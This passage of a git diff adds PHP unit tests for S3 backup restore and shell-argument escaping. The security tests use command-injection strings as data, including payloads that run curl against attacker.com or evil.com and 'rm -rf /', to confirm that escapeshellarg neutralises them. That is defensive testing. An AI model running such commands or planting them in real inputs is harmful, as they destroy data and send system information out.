||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
// Newline is preserved inside single quotes
|
||||
expect($escaped)->toContain("\n");
|
||||
expect($escaped)->toStartWith("'");
|
||||
expect($escaped)->toEndWith("'");
|
||||
});
|
||||
|
||||
it('handles normal paths without issues', function () {
|
||||
$normalPaths = [
|
||||
'/tmp/restore-backup.sql',
|
||||
'/tmp/restore-script.sh',
|
||||
'/tmp/database-dump-abc123.sql',
|
||||
'/tmp/deeply/nested/path/to/file.sql',
|
||||
];
|
||||
|
||||
foreach ($normalPaths as $path) {
|
||||
expect(isSafeTmpPath($path))->toBeTrue();
|
||||
|
||||
$escaped = escapeshellarg($path);
|
||||
// Normal paths are just wrapped in single quotes
|
||||
expect($escaped)->toBe("'{$path}'");
|
||||
}
|
||||
});
|
||||
|
||||
it('escapes container names with injection attempts', function () {
|
||||
// Container names are not validated by isSafeTmpPath, so escaping is critical
|
||||
$maliciousContainer = 'container"; rm -rf /; echo "pwned';
|
||||
$escaped = escapeshellarg($maliciousContainer);
|
||||
|
||||
expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'");
|
||||
|
||||
// Building a docker command with escaped container is safe
|
||||
$command = "docker rm -f {$escaped}";
|
||||
expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'");
|
||||
});
|
||||
});
|
||||
98
tests/Unit/S3RestoreSecurityTest.php
Normal file
98
tests/Unit/S3RestoreSecurityTest.php
Normal file
|
|
@ -0,0 +1,98 @@
|
|||
<?php
|
||||
|
||||
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
|
||||
// Test that escapeshellarg works correctly for various malicious inputs
|
||||
// This is the core security mechanism used in Import.php line 407-410
|
||||
|
||||
// Test case 1: Secret with command injection attempt
|
||||
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
|
||||
$escapedSecret = escapeshellarg($maliciousSecret);
|
||||
|
||||
// escapeshellarg should wrap in single quotes and escape any single quotes
|
||||
expect($escapedSecret)->toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
|
||||
|
||||
// When used in a command, the shell metacharacters should be treated as literal strings
|
||||
$command = "echo {$escapedSecret}";
|
||||
// The dangerous part (";curl) is now safely inside single quotes
|
||||
expect($command)->toContain("'secret"); // Properly quoted
|
||||
expect($escapedSecret)->toStartWith("'"); // Starts with quote
|
||||
expect($escapedSecret)->toEndWith("'"); // Ends with quote
|
||||
|
||||
// Test case 2: Endpoint with command injection
|
||||
$maliciousEndpoint = 'https://s3.example.com";whoami;"';
|
||||
$escapedEndpoint = escapeshellarg($maliciousEndpoint);
|
||||
|
||||
expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
|
||||
|
||||
// Test case 3: Key with destructive command
|
||||
$maliciousKey = 'access-key";rm -rf /;echo "';
|
||||
$escapedKey = escapeshellarg($maliciousKey);
|
||||
|
||||
expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
|
||||
|
||||
// Test case 4: Normal credentials should work fine
|
||||
$normalSecret = 'MySecretKey123';
|
||||
$normalEndpoint = 'https://s3.amazonaws.com';
|
||||
$normalKey = 'AKIAIOSFODNN7EXAMPLE';
|
||||
|
||||
expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
|
||||
expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
|
||||
expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
|
||||
});
|
||||
|
||||
it('verifies command injection is prevented in mc alias set command format', function () {
|
||||
// Simulate the exact scenario from Import.php:407-410
|
||||
$containerName = 's3-restore-test-uuid';
|
||||
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
|
||||
$key = 'AKIATEST";whoami;"';
|
||||
$secret = 'SecretKey";rm -rf /tmp;echo "';
|
||||
|
||||
// Before fix (vulnerable):
|
||||
// $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
|
||||
// This would allow command injection because $endpoint and $key are not quoted,
|
||||
// and $secret's double quotes can be escaped
|
||||
|
||||
// After fix (secure):
|
||||
$escapedEndpoint = escapeshellarg($endpoint);
|
||||
$escapedKey = escapeshellarg($key);
|
||||
$escapedSecret = escapeshellarg($secret);
|
||||
$secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
|
||||
|
||||
// Verify the secure command has properly escaped values
|
||||
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
|
||||
expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
|
||||
expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
|
||||
|
||||
// Verify that the command injection attempts are neutered (they're literal strings now)
|
||||
// The values are wrapped in single quotes, so shell metacharacters are treated as literals
|
||||
// Check that all three parameters are properly quoted
|
||||
expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
|
||||
|
||||
// Verify the dangerous parts are inside quotes (between the quote marks)
|
||||
// The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
|
||||
expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
|
||||
|
||||
// Ensure we're NOT using the old vulnerable pattern with unquoted values
|
||||
$vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
|
||||
expect($secureCommand)->not->toContain($vulnerablePattern);
|
||||
});
|
||||
|
||||
it('handles S3 secrets with single quotes correctly', function () {
|
||||
// Test edge case: secret containing single quotes
|
||||
// escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
|
||||
$secretWithQuote = "my'secret'key";
|
||||
$escaped = escapeshellarg($secretWithQuote);
|
||||
|
||||
// The expected output format is: 'my'\''secret'\''key'
|
||||
// This is how escapeshellarg handles single quotes in the input
|
||||
expect($escaped)->toBe("'my'\\''secret'\\''key'");
|
||||
|
||||
// Verify it would work in a command context
|
||||
$containerName = 's3-restore-test';
|
||||
$endpoint = escapeshellarg('https://s3.amazonaws.com');
|
||||
$key = escapeshellarg('AKIATEST');
|
||||
$command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
|
||||
|
||||
// The command should contain the properly escaped secret
|
||||
expect($command)->toContain("'my'\\''secret'\\''key'");
|
||||
});
|
||||
75
tests/Unit/S3RestoreTest.php
Normal file
75
tests/Unit/S3RestoreTest.php
Normal file
|
|
@ -0,0 +1,75 @@
|
|||
<?php
|
||||
|
||||
test('S3 path is cleaned correctly', function () {
|
||||
// Test that leading slashes are removed
|
||||
$path = '/backups/database.gz';
|
||||
$cleanPath = ltrim($path, '/');
|
||||
|
||||
expect($cleanPath)->toBe('backups/database.gz');
|
||||
|
||||
// Test path without leading slash remains unchanged
|
||||
$path2 = 'backups/database.gz';
|
||||
$cleanPath2 = ltrim($path2, '/');
|
||||
|
||||
expect($cleanPath2)->toBe('backups/database.gz');
|
||||
});
|
||||
|
||||
test('S3 container name is generated correctly', function () {
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$containerName = "s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($containerName)->toBe('s3-restore-test-database-uuid');
|
||||
expect($containerName)->toStartWith('s3-restore-');
|
||||
});
|
||||
|
||||
test('S3 download directory is created correctly', function () {
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($downloadDir)->toBe('/tmp/s3-restore-test-database-uuid');
|
||||
expect($downloadDir)->toStartWith('/tmp/s3-restore-');
|
||||
});
|
||||
|
||||
test('cancelS3Download cleans up correctly', function () {
|
||||
// Test that cleanup directory path is correct
|
||||
$resourceUuid = 'test-database-uuid';
|
||||
$downloadDir = "/tmp/s3-restore-{$resourceUuid}";
|
||||
$containerName = "s3-restore-{$resourceUuid}";
|
||||
|
||||
expect($downloadDir)->toContain($resourceUuid);
|
||||
expect($containerName)->toContain($resourceUuid);
|
||||
});
|
||||
|
||||
test('S3 file path formats are handled correctly', function () {
|
||||
$paths = [
|
||||
'/backups/db.gz',
|
||||
'backups/db.gz',
|
||||
'/nested/path/to/backup.sql.gz',
|
||||
'backup-2025-01-15.gz',
|
||||
];
|
||||
|
||||
foreach ($paths as $path) {
|
||||
$cleanPath = ltrim($path, '/');
|
||||
expect($cleanPath)->not->toStartWith('/');
|
||||
}
|
||||
});
|
||||
|
||||
test('formatBytes helper formats file sizes correctly', function () {
|
||||
// Test various file sizes
|
||||
expect(formatBytes(0))->toBe('0 B');
|
||||
expect(formatBytes(null))->toBe('0 B');
|
||||
expect(formatBytes(1024))->toBe('1 KB');
|
||||
expect(formatBytes(1048576))->toBe('1 MB');
|
||||
expect(formatBytes(1073741824))->toBe('1 GB');
|
||||
expect(formatBytes(1099511627776))->toBe('1 TB');
|
||||
|
||||
// Test with different sizes
|
||||
expect(formatBytes(512))->toBe('512 B');
|
||||
expect(formatBytes(2048))->toBe('2 KB');
|
||||
expect(formatBytes(5242880))->toBe('5 MB');
|
||||
expect(formatBytes(10737418240))->toBe('10 GB');
|
||||
|
||||
// Test precision
|
||||
expect(formatBytes(1536, 2))->toBe('1.5 KB');
|
||||
expect(formatBytes(1572864, 1))->toBe('1.5 MB');
|
||||
});
|
||||
53
tests/Unit/S3StorageTest.php
Normal file
53
tests/Unit/S3StorageTest.php
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
<?php
|
||||
|
||||
use App\Models\S3Storage;
|
||||
|
||||
test('S3Storage model has correct cast definitions', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
$casts = $s3Storage->getCasts();
|
||||
|
||||
expect($casts['is_usable'])->toBe('boolean');
|
||||
expect($casts['key'])->toBe('encrypted');
|
||||
expect($casts['secret'])->toBe('encrypted');
|
||||
});
|
||||
|
||||
test('S3Storage isUsable method returns is_usable attribute value', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
|
||||
// Set the attribute directly to avoid encryption
|
||||
$s3Storage->setRawAttributes(['is_usable' => true]);
|
||||
expect($s3Storage->isUsable())->toBeTrue();
|
||||
|
||||
$s3Storage->setRawAttributes(['is_usable' => false]);
|
||||
expect($s3Storage->isUsable())->toBeFalse();
|
||||
|
||||
$s3Storage->setRawAttributes(['is_usable' => null]);
|
||||
expect($s3Storage->isUsable())->toBeNull();
|
||||
});
|
||||
|
||||
test('S3Storage awsUrl method constructs correct URL format', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
|
||||
// Set attributes without triggering encryption
|
||||
$s3Storage->setRawAttributes([
|
||||
'endpoint' => 'https://s3.amazonaws.com',
|
||||
'bucket' => 'test-bucket',
|
||||
]);
|
||||
|
||||
expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket');
|
||||
|
||||
// Test with custom endpoint
|
||||
$s3Storage->setRawAttributes([
|
||||
'endpoint' => 'https://minio.example.com:9000',
|
||||
'bucket' => 'backups',
|
||||
]);
|
||||
|
||||
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
|
||||
});
|
||||
|
||||
test('S3Storage model is guarded correctly', function () {
|
||||
$s3Storage = new S3Storage;
|
||||
|
||||
// The model should have $guarded = [] which means everything is fillable
|
||||
expect($s3Storage->getGuarded())->toBe([]);
|
||||
});
|
||||
Loading…
Reference in a new issue